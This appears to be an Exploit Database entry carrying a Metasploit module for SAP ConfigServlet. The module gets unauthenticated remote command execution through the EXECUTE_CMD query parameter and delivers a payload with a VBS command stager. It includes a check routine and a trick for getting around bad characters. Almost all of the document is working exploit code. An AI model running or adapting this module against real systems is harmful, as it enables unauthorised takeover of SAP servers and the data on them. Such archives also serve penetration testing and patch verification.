SAP ConfigServlet - Remote Payload Execution (Metasploit)

EDB-ID:

24996

CVE:





Platform:

Windows

Date:

2013-04-25


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

GET CERTIFIED

require 'msf/core'

class Metasploit3 < Msf::Exploit
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::CmdStagerVBS

	def initialize(info = {})
		super(update_info(info,
			'Name'            => 'SAP ConfigServlet Remote Code Execution',
			'Description'     => %q{
				This module allows remote code execution via operating system commands through
				the SAP ConfigServlet without any authentication.
			},
			'Author'          =>
				[
					'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
					'Andras Kabai' # Metasploit module
				],
			'License'         => MSF_LICENSE,
			'References'      =>
				[
					[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf']
				],
			'DisclosureDate' => 'Nov 01 2012', # Based on the reference presentation
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'Windows generic',
						{
							'Arch' => ARCH_X86
						}
					]
				],
			'DefaultTarget'  => 0,
			'Privileged'     => false
			))

		register_options(
			[
				Opt::RPORT(50000),
				OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet'])
			], self.class)
	end

	def check
		uri = normalize_uri(target_uri.path, 'ConfigServlet')
		res = send_evil_request(uri, "whoami", 20)
		if !res
			Exploit::CheckCode::Unknown
		elsif res.body.include?("Process created")
			Exploit::CheckCode::Vulnerable
		else
			Exploit::CheckCode::Safe
		end
	end

	def exploit
		print_status("#{rhost}:#{rport} - Exploiting remote system")
		uri = normalize_uri(target_uri.path, 'ConfigServlet')

		execute_cmdstager( { :linemax => 1500, :nodelete => true, :sap_configservlet_uri => uri })
	end

	def execute_command(cmd, opts)
		commands = cmd.split(/&/)
		commands.each do |command|
			timeout = 20
			if command.include?(".vbs") and command.include?(",")
				# because the comma is bad character and the VBS stager contains commas it is necessary to "create" commas without directly using them
				# using the following command line trick it is possible to echo commas into the right places
				command.gsub!(",", "%i")
				command = "cmd /c FOR /F \"usebackq tokens=2 delims=)\" %i IN (\`\"ping -n 1 127.0.0.1| findstr )\"\`) DO " + command
			else
				command = "cmd /c " + command
			end
			if command.include?("cscript")
				# in case of bigger payloads the VBS stager could run for longer time as it needs to decode lot of data
				# increaste timeout value when the VBS stager is called
				timeout = 120
			end
			vprint_status("Attempting to execute: #{command}")
			send_evil_request(opts[:sap_configservlet_uri], command, timeout)
		end
	end

	def send_evil_request(uri, cmd, timeout)
		begin
			res = send_request_cgi(
				{
					'uri' => uri,
					'method' => 'GET',
					'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(cmd)
				}, timeout)

			if !res
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Exploit failed.")
			end

			if res.code != 200
				vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
				fail_with(Exploit::Failure::UnexpectedReply, "#{rhost}:#{rport} - Exploit failed.")
			end
		rescue ::Rex::ConnectionError
			fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the server.")
		end

		if not res.body.include?("Process created")
			vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
			fail_with(Exploit::Failure::PayloadFailed, "#{rhost}:#{rport} - Exploit failed.")
		end
		return res
	end
end